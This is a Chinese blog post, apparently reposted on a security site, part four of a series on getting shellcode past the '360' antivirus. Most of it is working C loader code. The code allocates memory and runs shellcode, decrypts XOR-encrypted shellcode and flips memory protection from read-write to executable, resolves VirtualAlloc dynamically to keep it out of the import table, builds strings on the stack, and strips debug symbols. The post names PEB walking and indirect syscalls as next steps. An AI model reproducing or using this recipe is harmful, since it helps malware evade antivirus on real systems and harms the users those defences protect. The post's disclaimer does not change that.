数字杀毒环境下免杀对坑技巧一则04

admin 2025年4月29日17:11:57数字杀毒环境下免杀对坑技巧一则04已关闭评论0 views字数 2468阅读8分13秒阅读模式

前言

读过前几期的文章,相信各位看官已经初步掌握了一些免杀技巧。本期我们将在Visual Studio环境下,手把手演示从代码编写到免杀成型的完整流程。文章内嵌实测通过的代码样本,建议在虚拟机环境中学习实践。

静态编译

#include<
            windows.h>
          // 示例Shellcode(实际使用需替换)unsignedchar shellcode[] = { 0x1f0x2f0x3f0x4f };intmain(){// 分配可执行内存void* exec_mem = VirtualAlloc(0,sizeof(shellcode),        MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE    );// 复制Shellcode到可执行内存memcpy(exec_mem, shellcode, sizeof(shellcode));// 转换为函数指针并执行    ((void(*)())exec_mem)();return0;}
数字杀毒环境下免杀对坑技巧一则04

大小为11k,太小了,这个程序在别的没有安装Visual Studio的机器上可能无法运行,所以此时要修改编译选项,代码生成方式:项目属性→ C/C++ → 代码生成 → 运行库,将其修改成/MT

数字杀毒环境下免杀对坑技巧一则04

重新进行编译,再去查看生成文件的大小

数字杀毒环境下免杀对坑技巧一则04
大小为115k,此时将其拷贝到别的机器上也能顺利运行。

shellcode加密

在代码中写入明文shellcode,编译之后也是可以直接看到明文shellcode,上面的示例shellcoce是0x1f, 0x2f, 0x3f, 0x4f ,可以直接在exe中查看到,这样直接就会被查杀。

数字杀毒环境下免杀对坑技巧一则04

接下来通过异或加密的方式来隐藏shellcode,注:这里为了演示所以使用异或加密,实际操作中尽量不要用异或这么简单的加密,现在的杀软很容易检查出来特征。

#include<
            windows.h>
          // 异或加密后的Shellcode(密钥0xAA)unsignedchar encrypted_shellcode[] = {0xB50x850x950xE5// 示例加密数据(需替换为实际加密后的shellcode)};voidxor_decrypt(unsignedchar* data, size_t data_len, unsignedchar key){for (size_t i = 0; i < data_len; i++) {        data[i] ^= key;    }}intmain(){// 设置解密密钥(需与实际加密密钥一致)constunsignedchar XOR_KEY = 0xAA;// 分配可读写内存用于解密void* exec_mem = VirtualAlloc(0,sizeof(encrypted_shellcode),        MEM_COMMIT | MEM_RESERVE,        PAGE_READWRITE  // 初始设置为可读写    );// 复制加密的Shellcode到内存memcpy(exec_mem, encrypted_shellcode, sizeof(encrypted_shellcode));// 执行异或解密xor_decrypt((unsignedchar*)exec_mem, sizeof(encrypted_shellcode), XOR_KEY);// 修改内存保护为可执行    DWORD old_protect;VirtualProtect(exec_mem, sizeof(encrypted_shellcode), PAGE_EXECUTE_READ, &old_protect);// 转换为函数指针并执行    ((void(*)())exec_mem)();return0;}

使用0xAA 来加密shellcode,此时可执行文件中已经获取不到特征0x1f, 0x2f, 0x3f, 0x4f 。另外,这里不像上一节中只使用VirtualAlloc分配可读可写可执行内存,也是为了减少shellcode执行特征,在实际操作中要先申请可读写内存,写入解密的shellcode之后,再将内存属性改为可读可执行。

导入表隐藏

这个代码里面涉及的敏感函数是VirtualProtectVirtualAlloc ,这里我只演示VirtualAlloc的隐藏。

首先能看到在导入表中存在VirtualAlloc 这个敏感函数

数字杀毒环境下免杀对坑技巧一则04

现在我们的写法属于静态导入,会将使用的api写入到导入表中,在文件执行时有系统加载对应的dll,并将对应函数的地址写入内存中。为了在导入表中隐藏这个函数,我们可以使用动态导入的方式,主要靠LoadLibraryA 载入dll和GetProcAddress 获取函数地址这两个函数。

#include<
            windows.h>
          // 异或加密后的Shellcode(密钥0xAA)unsignedchar encrypted_shellcode[] = {0xB50x850x950xE5// 示例加密数据(需替换为实际加密后的shellcode)};// 定义函数指针类型typedefLPVOID(WINAPI *pVirtualAlloc)(    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flAllocationType,    DWORD  flProtect);voidxor_decrypt(unsignedchar* data, size_t data_len, unsignedchar key){for (size_t i = 0; i < data_len; i++) {        data[i] ^= key;    }}intmain(){constunsignedchar XOR_KEY = 0xAA;    HMODULE hKernel32;    pVirtualAlloc MyVirtualAlloc = NULL;// 动态获取VirtualAlloc地址    hKernel32 = LoadLibraryA("
            kernel32.dll"
          );if (hKernel32 == NULLreturn1;    MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");if (MyVirtualAlloc == NULLreturn1;// 使用动态获取的函数分配内存void* exec_mem = MyVirtualAlloc(0,sizeof(encrypted_shellcode),        MEM_COMMIT | MEM_RESERVE,        PAGE_READWRITE    );if (!exec_mem) return1;memcpy(exec_mem, encrypted_shellcode, sizeof(encrypted_shellcode));xor_decrypt((unsignedchar*)exec_mem, sizeof(encrypted_shellcode), XOR_KEY);// 修改内存保护(可保持动态导入或使用原始方式)    DWORD old_protect;VirtualProtect(exec_mem, sizeof(encrypted_shellcode), PAGE_EXECUTE_READ, &old_protect);    ((void(*)())exec_mem)();FreeLibrary(hKernel32);return0;}

编译完成后,再去看导入表中,已经没有VirtualAlloc 这个函数,达到了在导入表中隐藏的目的

去字符串特征

上一节中,虽然导入表中没有了VirtualAlloc 这个函数,但是直接在exe中搜索这个字符串还是存在的。

数字杀毒环境下免杀对坑技巧一则04

所以这部分也是需要处理的,这里修改一行代码即可,将

MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");

这部分代码修改成

char valloc_str[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, valloc_str);

这12个字节的十六进制为56 69 72 74 75 61 6C 41 6C 6C 6F 63 00编译之后分布如下,所以导致无法被解析出字符串。

数字杀毒环境下免杀对坑技巧一则04

还有更加彻底的混淆方式:

  • • 通过PEB遍历实现无LoadLibrary/GetProcAddress的API解析
  • • 使用哈希算法代替直接字符串比较
  • • 实现间接系统调用(syscall)

这些技巧可以在以后的文章中进行讨论

隐藏调试符号

以上的方法都使用了之后,有时会发现无论你的代码怎么修改,shellcode如何加密,总是直接被数字杀毒查杀,那么这里面还是存在一个特征,那就是调试符号文件路径。

数字杀毒环境下免杀对坑技巧一则04

这里直接显示了编译的程序路径,下面通过配置来去掉这个特征。

打开 项目属性→ 链接器 → 调试 → 生成调试信息 将这部分改为否,重新编译即可。

数字杀毒环境下免杀对坑技巧一则04

总结

使用以上的技巧,再结合

数字杀毒环境下免杀对坑技巧一则03

数字杀毒环境下免杀对坑技巧一则02

这两篇文章中提到的,对付数字杀毒已经可以了。

你在实战中还遇到过哪些免杀技巧?欢迎在评论区留言分享!

如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号 

 在这里,我会持续分享更多原创高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!

免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月29日17:11:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   数字杀毒环境下免杀对坑技巧一则04https://cn-sec.com/archives/4014158.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.